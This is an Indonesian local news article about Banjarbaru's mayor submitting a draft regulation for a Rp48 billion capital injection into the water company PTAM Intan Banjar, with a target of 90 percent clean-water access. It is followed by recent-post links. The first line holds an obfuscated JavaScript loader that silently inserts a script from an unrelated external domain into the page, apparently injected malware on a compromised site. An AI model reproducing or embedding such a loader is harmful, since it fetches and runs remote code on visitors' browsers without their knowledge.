(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Raperda Penyertaan Modal PTAM Intan Banjar, Wali Kota Target 90 Persen Warga Akses Air Bersih


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menginvestasikan sedikitnya Rp48 miliar untuk pengajuan penambahan penyertaan modal untuk Perusahaan Terbatas Air Minum (PTAM) Intan Banjar.

Dalam Rapat Paripurna di Gedung Graha Paripurna DPRD Banjarbaru, Selasa (23/7/2024) siang, Wali Kota Banjarbaru Aditya Mufti Ariffin menyampaikan Raperda tentang penambahan penyertaan modal untuk PTAM Intan Banjar untuk bisa dibahas dan disahkan menjadi Perda, oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru.

“Kita menyampaikan Raperda penyertaan modal untuk PTAM Intan Banjar, yang telah kita laksanakan melalui kegiatan investasi total sekitar Rp48 miliar untuk kita ajukan Perdanya,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin.

Aditya berharap Raperda tersebut dapat cepat dibahas dan selesai dengan cepat meski tak ada target waktu penyelesaiannya.

Baca juga: Harga Minyakita di Banjarbaru Lebihi HET, Stok Susah Diperoleh

“Kita menargetkan 90 persen masyarakat Kota Banjarbaru bisa mendapatkan dengan mudah akses air bersih. Jadi bukan masalah saham namun cakupan pelayanan dari PTAM Intan Banjar,” jelas dia.

Setelah menjadi Perda, sambung Aditya, maka secara normatif sudah masuk dalam penyertaan modal, sehingga nanti ada perubahan-perubahan di dalam perusahaan air minum tersebut dari segi komposisi saham dan lainnya.

Masih dalam rapat paripurna, Pemko Banjarbaru mendukung adanya keputusan persetujuan DPRD untuk Raperda sistem pelaporan pajak retribusi daerah di Kota Banjarbaru Kalimantan Selatan (Kalsel).

“Yang jelas jika sudah menjadi Perda maka pengelolaan data, baik bagi para objek maupun subjek pajak bisa terkelola dan dimanfaatkan dengan baik untuk kepentingan Pemko,” ujar Wali Kota Aditya.

Baca juga: Pemprov Kalsel Ekspose Pembangunan Jembatan Pulau Laut

Dengan pemgimplementasian Raperda terkait teknologi ini, akan berpengaruh pada kenaikan Pendapatan Asli Daerah (PAD).

“Kita memanfaatkan data-data secara digital sesuai perkembangan zaman. Selain itu mencegah terjadinya kebocoran retribusi pajak, tentunya sarana prasarana informatika harus dibangun sebagai pondasi Perda ini nantinya,” tandas Aditya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

4 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

6 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

7 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

10 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

13 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

16 jam ago

This website uses cookies.